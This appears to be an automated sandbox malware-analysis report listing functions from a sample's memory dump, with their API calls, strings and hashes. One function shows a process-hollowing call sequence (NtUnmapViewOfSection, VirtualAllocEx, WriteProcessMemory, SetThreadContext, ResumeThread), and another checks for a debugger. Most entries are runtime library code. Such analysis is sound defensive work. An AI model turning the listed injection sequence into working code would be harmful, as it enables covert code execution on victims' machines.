VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 00566ABD
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 00566ADE
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 00566B21
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000), ref: 00566B5D
SetThreadContext.KERNEL32(?,00000000,?,?,00000000), ref: 00566B79
ResumeThread.KERNEL32(?,?,?,00000000), ref: 00566B85
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00566B93

Strings

NtUnmapViewOfSection, xrefs: 00566A84
ntdll.dll, xrefs: 00566A89
, xrefs: 00566A68

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Process$Memory$ThreadVirtualWrite$AllocContextModule$AddressCreateFileFreeHandleNameProcReadResume
String ID: $NtUnmapViewOfSection$ntdll.dll
API String ID: 4232606500-1522589568
Opcode ID: f6a43962088e90736fd38e87eb02f1163f88bdacc19fed759c05bfe7fdd25fea
Instruction ID: a58410afec56cd6f0ace02ff02c18c9a20d680ee8f47638972b185d0b771d357
Opcode Fuzzy Hash: f6a43962088e90736fd38e87eb02f1163f88bdacc19fed759c05bfe7fdd25fea
Instruction Fuzzy Hash: 3D515C71A40218EFDB619F54DC89FEABBB8FF08701F0001A5F609EA2A1D771A994DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00584883 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00584986
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 005849D2

Part of subcall function 005860CD: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 005861C0

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00584A3E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00584A5A
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00584AAE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00584ADB
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00584B31

Strings

(, xrefs: 00584992

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 3f34ba273856f6884d94bffea24ce11522cba510b33e97e6dc5a5bc4593aaea2
Instruction ID: 1ac06b236cd0d2164a86bf47ae5519ee09fdf33df39015bd2de0ece34d358fb0
Opcode Fuzzy Hash: 3f34ba273856f6884d94bffea24ce11522cba510b33e97e6dc5a5bc4593aaea2
Instruction Fuzzy Hash: B3B17C70A00616EFCB28DF69D995B7ABBB5FB44305F14815AEC41AB241D730ED40CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00585072 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0058676C: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 0058677F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00585084

Part of subcall function 0058687F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 005868A9
Part of subcall function 0058687F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00586918

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 005851B6
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00585216
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00585222
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 0058525D
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0058527E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0058528A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00585293
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 005852AB

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: 7910e7dfc45504e0e4b3b7d115950643436d47eaebe44e5419cd0372f6505032
Instruction ID: 7240067e5170acc135fdbe2b99d3fae6906a5970544ca95509c32f32e31a637a
Opcode Fuzzy Hash: 7910e7dfc45504e0e4b3b7d115950643436d47eaebe44e5419cd0372f6505032
Instruction Fuzzy Hash: 6B813C71E006259FCB19EFA9C984A6DBBF2FF48304B1546ADD845B7701DB30AD52CB80

Uniqueness

Uniqueness Score: -1.00%

Function 005926B9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 005926F2

Part of subcall function 0058C9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0058C9C1

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00592758
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00592770
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0059277D

Part of subcall function 00592220: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00592248
Part of subcall function 00592220: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 005922E0
Part of subcall function 00592220: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 005922EA
Part of subcall function 00592220: Concurrency::location::_Assign.LIBCMT ref: 0059231E
Part of subcall function 00592220: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00592326

Strings

3W, xrefs: 005926DD, 00592733, 0059279A, 005927FC, 00592835

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID: 3W
API String ID: 2363638799-3302607274
Opcode ID: f5cc92345645c263659bd432a66010d419383149e9c8a2cec337afbbd0792700
Instruction ID: 9d00b4909e518d77552bf2304467284f4c79f03200dd64c564a2f06c315af290
Opcode Fuzzy Hash: f5cc92345645c263659bd432a66010d419383149e9c8a2cec337afbbd0792700
Instruction Fuzzy Hash: 6C518235A00205EBCF18EF91C895BADBB75FF84710F1544A9E9067B392CB30AE45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 005A5DE7 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005A5E69
_free.LIBCMT ref: 005A5E8D
_free.LIBCMT ref: 005A601A
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,005BA7A8), ref: 005A602C
_free.LIBCMT ref: 005A61E6

Strings

aZ, xrefs: 005A5FD5, 005A60F0, 005A5FDB

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: aZ
API String ID: 597776487-325678736
Opcode ID: b9a56402d4dff6ff90aef774fe65f28f899ca55799ae5c6ddbf02c4b34f8919f
Instruction ID: fa318c8ce21e1e1e78562d04a8a6ce176f1b09d0aa57b0de49d47e4b41ab1bf5
Opcode Fuzzy Hash: b9a56402d4dff6ff90aef774fe65f28f899ca55799ae5c6ddbf02c4b34f8919f
Instruction Fuzzy Hash: EAC15771A00646AFDB109F68CC59EAE7FF9BF93310F284599E48097282F7318E45D750

Uniqueness

Uniqueness Score: -1.00%

Function 00566080 Relevance: 7.8, APIs: 5, Instructions: 253COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 005660DA
LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00566120
GetSidIdentifierAuthority.ADVAPI32(?), ref: 0056612D
GetSidSubAuthorityCount.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00566241
GetSidSubAuthority.ADVAPI32(?,00000000), ref: 00566268

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Authority$Name$AccountCountIdentifierLookupUser
String ID:
API String ID: 4230999276-0
Opcode ID: b539637254b22acd1f214e823cfbc1bd58158df0526fa92c7599a0292f13a7bd
Instruction ID: a8ed214615f87675011df83ddd14c158d17af2a07080c00f5a163924c32c0109
Opcode Fuzzy Hash: b539637254b22acd1f214e823cfbc1bd58158df0526fa92c7599a0292f13a7bd
Instruction Fuzzy Hash: 0491A2B1A001199FDB28DB64CC89BEDBB79FB85304F5045E9E50997282DB309AC4CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0058065A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,005809C2,?,00000003,00000003,?,005809F7,?,?,?,00000003,00000003,?,0057FF6D,y0V,00000001), ref: 00580673
GetSystemTimeAsFileTime.KERNEL32(?,?,?,005809C2,?,00000003,00000003,?,005809F7,?,?,?,00000003,00000003,?,0057FF6D), ref: 00580677

Strings

3W, xrefs: 0058066D

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$Precise
String ID: 3W
API String ID: 743729956-3302607274
Opcode ID: 3696f400c5feb25eaaac54628e76b2599292dab8dfea2868f202d57a6bc1852f
Instruction ID: b8c4d95c1bf1edcfdf3bd7f28e68773b4c55e47044cde719a081c186b99e2a89
Opcode Fuzzy Hash: 3696f400c5feb25eaaac54628e76b2599292dab8dfea2868f202d57a6bc1852f
Instruction Fuzzy Hash: 93D02331502138D78E513F45FC049FC7F5CFA54B503040211ED0553121CB112C54AFC0

Uniqueness

Uniqueness Score: -1.00%

Function 0059A4ED Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0059A5E5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0059A5EF
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0059A5FC

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 08bc8d91b0bd8f45a93edef7867349c643a17365753ec92460599a9021493849
Instruction ID: b76ad0ef8acdf738bb9fe2c84095dbb54052ea2f8602aeb8d4c5a5b56fd6cdc4
Opcode Fuzzy Hash: 08bc8d91b0bd8f45a93edef7867349c643a17365753ec92460599a9021493849
Instruction Fuzzy Hash: 7031E1749012299BCF61DF68D988B8CBBB8BF58310F5042EAE408A6251EB709B858F55

Uniqueness

Uniqueness Score: -1.00%

Function 00581816 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0058182C

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 67c7802f5cc6374500984d11141ec7bb6e38756a1d1d27a50c1e5b51e79c71eb
Instruction ID: bcd877200a6e4fe8d984ab7ea77253f0504a2e0ea16115d7f21ddee801a3fee0
Opcode Fuzzy Hash: 67c7802f5cc6374500984d11141ec7bb6e38756a1d1d27a50c1e5b51e79c71eb
Instruction Fuzzy Hash: 1A519CB1D00A058FDB18CF99D88ABAABBF5FB58350F24846AC815FB250D3749D45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00582A98 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00582D2B

Strings

pEvents, xrefs: 00582D23

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 7cbbe5b11d64706c818d1879a900f5a822c522e0786716b5d24ddd1a04db161e
Instruction ID: cede28da721092ec64be822080e2447cfc60f3d4e2d4a4640a958ee9f6427844
Opcode Fuzzy Hash: 7cbbe5b11d64706c818d1879a900f5a822c522e0786716b5d24ddd1a04db161e
Instruction Fuzzy Hash: 49816A31D052199BCF25EFA8C989BAEBFB4BF54310F144419EC01B7282DB74AE46CB61

Uniqueness

Uniqueness Score: -1.00%

Function 005A2C30 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 005A2C74

Part of subcall function 005A280D: _free.LIBCMT ref: 005A282A
Part of subcall function 005A280D: _free.LIBCMT ref: 005A283C
Part of subcall function 005A280D: _free.LIBCMT ref: 005A284E
Part of subcall function 005A280D: _free.LIBCMT ref: 005A2860
Part of subcall function 005A280D: _free.LIBCMT ref: 005A2872
Part of subcall function 005A280D: _free.LIBCMT ref: 005A2884
Part of subcall function 005A280D: _free.LIBCMT ref: 005A2896
Part of subcall function 005A280D: _free.LIBCMT ref: 005A28A8
Part of subcall function 005A280D: _free.LIBCMT ref: 005A28BA
Part of subcall function 005A280D: _free.LIBCMT ref: 005A28CC
Part of subcall function 005A280D: _free.LIBCMT ref: 005A28DE
Part of subcall function 005A280D: _free.LIBCMT ref: 005A28F0
Part of subcall function 005A280D: _free.LIBCMT ref: 005A2902

_free.LIBCMT ref: 005A2C69

Part of subcall function 0059E175: HeapFree.KERNEL32(00000000,00000000,?,005A299E,?,00000000,?,?,?,005A29C5,?,00000007,?,?,005A2DC7,?), ref: 0059E18B
Part of subcall function 0059E175: GetLastError.KERNEL32(?,?,005A299E,?,00000000,?,?,?,005A29C5,?,00000007,?,?,005A2DC7,?,?), ref: 0059E19D

_free.LIBCMT ref: 005A2C8B
_free.LIBCMT ref: 005A2CA0
_free.LIBCMT ref: 005A2CAB
_free.LIBCMT ref: 005A2CCD
_free.LIBCMT ref: 005A2CE0
_free.LIBCMT ref: 005A2CEE
_free.LIBCMT ref: 005A2CF9
_free.LIBCMT ref: 005A2D31
_free.LIBCMT ref: 005A2D38
_free.LIBCMT ref: 005A2D55
_free.LIBCMT ref: 005A2D6D

Strings

8b\, xrefs: 005A2D1C
`g\, xrefs: 005A2C46

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: 8b\$`g\
API String ID: 161543041-2446961446
Opcode ID: 725a1d2074f4357cac637ae5dfa31aa2eba95dbb63e5b5e4f9300210dfc0f682
Instruction ID: d9460563f90350cf77ac898cd97bf4c898750260a398a6f248d302e0c79a7abe
Opcode Fuzzy Hash: 725a1d2074f4357cac637ae5dfa31aa2eba95dbb63e5b5e4f9300210dfc0f682
Instruction Fuzzy Hash: B8315C31600206AFEB21AA7CD84BB5E7BE9FF81710F184829E459D7162DF75EC81DB10

Uniqueness

Uniqueness Score: -1.00%

Function 0059613F Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00596151

Part of subcall function 00595F4F: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00595F72

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00596172
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 0059617F
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 005961CD
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00596254
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00596267
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 005962B4

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 9376bc3b8cbe83ce21a612beabfd80986cbb5db1712c2a7b8eb6ce2a07bede18
Instruction ID: 70689fdfdccd3d60c8682b7ccdfd4bc567318414af84594776570a34e8db01cc
Opcode Fuzzy Hash: 9376bc3b8cbe83ce21a612beabfd80986cbb5db1712c2a7b8eb6ce2a07bede18
Instruction Fuzzy Hash: 6A81CD7490024AAFDF169FA4C955BBE7F72BF86344F040498EC406B292C776CD29EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00587F4F Relevance: 21.2, APIs: 14, Instructions: 189timeregistryCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00587FA9

Part of subcall function 00587D8A: InitializeSListHead.KERNEL32(?,?,00000000,?,?), ref: 00587E56
Part of subcall function 00587D8A: InitializeSListHead.KERNEL32(?), ref: 00587E60

ListArray.LIBCONCRT ref: 00587FDD
Hash.LIBCMT ref: 00588046
Hash.LIBCMT ref: 00588056
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 005880EB
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 005880F8
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 00588105
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 00588112

Part of subcall function 0058D6B2: std::bad_exception::bad_exception.LIBCMT ref: 0058D6D4

RegisterWaitForSingleObject.KERNEL32(?,00000000,0058B486,?,000000FF,00000000), ref: 0058819A
Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 005881BC
GetLastError.KERNEL32(00588EFC,?,?,00000000,?,?), ref: 005881CE
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 005881EB

Part of subcall function 0058361A: CreateTimerQueueTimer.KERNEL32(?,?,00000000,?,?,00588EFC,00000008,?,005881F0,?,00000000,0058B477,?,7FFFFFFF,7FFFFFFF,00000000), ref: 00583632

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00588215

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: List$HeadInitialize$Timer$ArrayCreateHashQueueRegister$AsyncConcurrency::details::Concurrency::details::platform::__Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorLastLibraryLoadObjectSingleWaitstd::bad_exception::bad_exception
String ID:
API String ID: 2750799244-0
Opcode ID: 839b4b351bf6c945c0862e4d773ac4b7de3af245d54bbf87a7b7601b5d036f59
Instruction ID: bd5df292aa0f29849c0345c5095546b319367481ccd2ed558b5c6d47b2f1c88e
